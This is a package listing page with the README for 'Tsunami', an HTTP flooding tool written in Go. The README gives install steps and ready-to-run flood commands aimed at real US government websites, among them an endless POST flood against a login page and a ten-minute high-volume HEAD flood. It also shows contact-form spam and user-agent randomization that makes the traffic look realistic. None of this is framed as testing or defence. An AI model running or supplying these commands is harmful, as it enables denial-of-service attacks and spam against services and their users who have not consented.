tsunami

command module
v0.0.0-...-8345a09 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 3, 2019 License: MIT Imports: 13 Imported by: 0

README

Tsunami

Tsunami is an advanced HTTP flooder written in Golang. It's currently implemented features include:

  • Live attack stats
  • Customizable mutlithreading
  • HTTPS support (Note: Certificates aren't verified for performance)
  • Realistic User Agent randomization
  • Dynamic payloads
  • Custom headers

Table of Contents

  1. Basic Usage
  2. Help
  3. Quick Install
  4. Examples
  5. Dynamic Tokens
  6. Todo

This project is a WIP

Basic Usage

./tsunami http://whitehouse.gov -w 100

Help

./tsunami --help

Quick Install

git clone https://github.com/zayotic/tsunami
cd tsunami
export GOPATH=`pwd`
go get ./...
go build

Dynamic Tokens

Dynamic tokens allows you to implement elements of randomness in your requests. Tokens may be placed in your URL, body, and header values.

There are currently 2 tokens:

  • {D} - A random digit
  • {l} - A random lowercase letter
  • {L} - A random uppercase letter

On every request, every token will be replaced.

Example command:

./tsunami -w 1 http://nsa.gov/{L}{L}{l}{D}

The requests will use URLs similar to these:

http://nsa.gov/AYz3
http://nsa.gov/BCv6
http://nsa.gov/NFz7
http://nsa.gov/IPa1

Examples

Low Volume POST Flood Lasting Forever
./tsunami -w 2 "https://fbi.gov/login" POST "username=Ammar&password=g1thuB123"
High Volume HEAD Flood Lasting For 10 Minutes
./tsunami -w 100 -s 600 "https://cia.gov/" HEAD
Contact Us Form Spam
./tsunami -w 1 "https://zay.li/contact-us" POST "email={l}{l}{l}{l}{l}{l}{l}@gmail.com&message=spamspamspamspam"

Todo

  • ???

Documentation

The Go Gopher

There is no documentation for this package.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL